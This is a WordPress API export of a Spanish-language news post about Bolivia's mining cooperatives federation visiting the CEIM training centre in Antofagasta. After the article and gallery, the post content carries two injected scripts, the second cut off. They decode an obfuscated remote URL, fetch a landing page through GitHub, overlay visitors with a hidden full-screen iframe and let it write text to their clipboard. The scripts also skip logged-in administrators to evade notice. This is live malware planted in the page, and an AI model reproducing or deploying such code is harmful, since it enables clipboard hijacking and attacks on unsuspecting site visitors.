{"id":34565,"date":"2024-09-06T15:21:12","date_gmt":"2024-09-06T19:21:12","guid":{"rendered":"https:\/\/ceim.cl\/?p=34565"},"modified":"2026-05-22T21:03:08","modified_gmt":"2026-05-23T01:03:08","slug":"federacion-minera-de-bolivia-visita-el-ceim-para-conocer-los-avances-de-la-industria","status":"publish","type":"post","link":"https:\/\/ceim.cl\/en\/federacion-minera-de-bolivia-visita-el-ceim-para-conocer-los-avances-de-la-industria\/","title":{"rendered":"Federaci\u00f3n minera de Bolivia visita el CEIM para conocer los avances de la industria"},"content":{"rendered":"<p><em>La Federaci\u00f3n Nacional de Cooperativas Mineras, FENCOMIN, visit\u00f3 Antofagasta gracias a un convenio entre la Agencia de Cooperaci\u00f3n para el Desarrollo de Chile &#8211; AGCID del Ministerio de Relaciones Exteriores y el Gobierno Regional, apoyado por el Cl\u00faster minero de la Regi\u00f3n de Antofagasta.<\/em><\/p>\n\n\n\n<p><em>\u201cChile est\u00e1 adelantado en tecnolog\u00eda para la miner\u00eda\u201d,<\/em> expres\u00f3 Zen\u00f3n Huarachi, presidente de la Federaci\u00f3n Nacional de Cooperativas Mineras de Bolivia (Fenacomin), delegaci\u00f3n que lleg\u00f3 hasta Antofagasta para conocer los distintos avances de la industria, sobre todo en automatizaci\u00f3n y buenas pr\u00e1cticas en el proceso productivo, con el objetivo de llevarse conocimientos para fortalecer la peque\u00f1a miner\u00eda del pa\u00eds altipl\u00e1nico.<\/p>\n\n\n\n<p>En el marco de su agenda, que consider\u00f3 4 d\u00edas en la regi\u00f3n de Antofagasta, la comitiva visit\u00f3 el Centro de Entrenamiento Industrial y Minero (CEIM), para interactuar con distintas tecnolog\u00edas empleadas para el entrenamiento y generar intercambio de experiencias con peque\u00f1os y medianos mineros de Bolivia, principalmente de Oruro, Cochabamba y La Paz.<\/p>\n\n\n\n<p>Gustavo Fuentes, director comercial de CEIM resalt\u00f3 la importancia de esta visita <em>\u201cValoramos que el Gobierno Regional y Cl\u00faster minero vean en nosotros un centro de excelencia, referente capacitaci\u00f3n y que va a la vanguardia de los procesos formativos para la industria minera. Esto es una tremenda oportunidad para traspasar barreras geogr\u00e1ficas y transmitir lo que hacemos y c\u00f3mo lo hacemos. Nos es grato recibir FENCOMIN y esperamos que podamos hacer m\u00e1s actividades en conjunto.\u201d<\/em><\/p>\n\n\n\n<p>Por su parte, Huarachi agradeci\u00f3 esta oportunidad.<em> \u201cTienen una instituci\u00f3n bien equipada, la cual nos sirve para poder aprender. Hoy la tecnolog\u00eda est\u00e1 avanzando y los aprendizajes tambi\u00e9n, por lo que estamos muy agradecidos con CEIM. Es muy importante ver los cambios en distintos pa\u00edses, por lo que esto ayudar\u00e1 mucho a nosotros, como tambi\u00e9n a las cooperativas de trabajadores de Bolivia\u201d.<\/em><\/p>\n\n\n\n<p><strong>Colaboraci\u00f3n entre Chile y Bolivia<\/strong><\/p>\n\n\n\n<p>El proyecto denominado &#8220;Fortalecimiento del Capital Humano, de la Peque\u00f1a Miner\u00eda Boliviana, a trav\u00e9s del know how de la Regi\u00f3n de Antofagasta, busca contribuir al fortalecimiento de una industria extractiva sostenible, inclusiva e innovadora, rescatando buenas pr\u00e1cticas de la peque\u00f1a y mediana miner\u00eda chilena en tem\u00e1ticas de seguridad e higiene laboral, gesti\u00f3n ambiental, innovaci\u00f3n empresarial y la Gobernanza del Cl\u00faster Minero.<\/p>\n\n\n\n<p>En ese contexto, Hern\u00e1n Vargas, encargado de la Unidad Regional de Asuntos Internacionales (URAI), destac\u00f3 este hito. <em>\u201cChile tiene muchas capacidades tecnol\u00f3gicas de procesos que podr\u00edan ser de ayuda para Bolivia, permiti\u00e9ndonos exportar servicios, procesos y conocimientos. CEIM prepara capital humano para la miner\u00eda, por lo que la experiencia que tienen es muy importante\u201d.<\/em><\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"461\" data-id=\"34573\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1-1024x461.jpeg\" alt=\"\" class=\"wp-image-34573\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1-1024x461.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1-300x135.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1-768x346.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1-1536x691.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1-18x8.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"461\" data-id=\"34574\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1024x461.jpeg\" alt=\"\" class=\"wp-image-34574\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1024x461.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-300x135.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-768x346.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-1536x691.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-18x8.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-id=\"34566\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-3-1024x577.jpeg\" alt=\"\" class=\"wp-image-34566\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-3-1024x577.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-3-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-3-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-3-1536x865.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-3-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-3.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-id=\"34571\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-2-1024x577.jpeg\" alt=\"\" class=\"wp-image-34571\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-2-1024x577.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-2-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-2-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-2-1536x865.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-2-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-2.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-id=\"34569\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-34569\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1-1024x577.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1-1536x865.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"461\" data-id=\"34572\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-4-1024x461.jpeg\" alt=\"\" class=\"wp-image-34572\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-4-1024x461.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-4-300x135.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-4-768x346.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-4-1536x691.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-4-18x8.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-4.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"461\" data-id=\"34567\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-2-1024x461.jpeg\" alt=\"\" class=\"wp-image-34567\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-2-1024x461.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-2-300x135.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-2-768x346.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-2-1536x691.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-2-18x8.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.51-2.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-id=\"34570\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1024x577.jpeg\" alt=\"\" class=\"wp-image-34570\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1024x577.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-300x169.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-768x432.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-1536x865.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50-18x10.jpeg 18w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/09\/WhatsApp-Image-2024-09-06-at-15.14.50.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/figure>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Federaci\u00f3n de mineros bolivianos visitan CEIM\" width=\"1200\" height=\"675\" src=\"https:\/\/www.youtube.com\/embed\/oSaIxlAZqCI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && 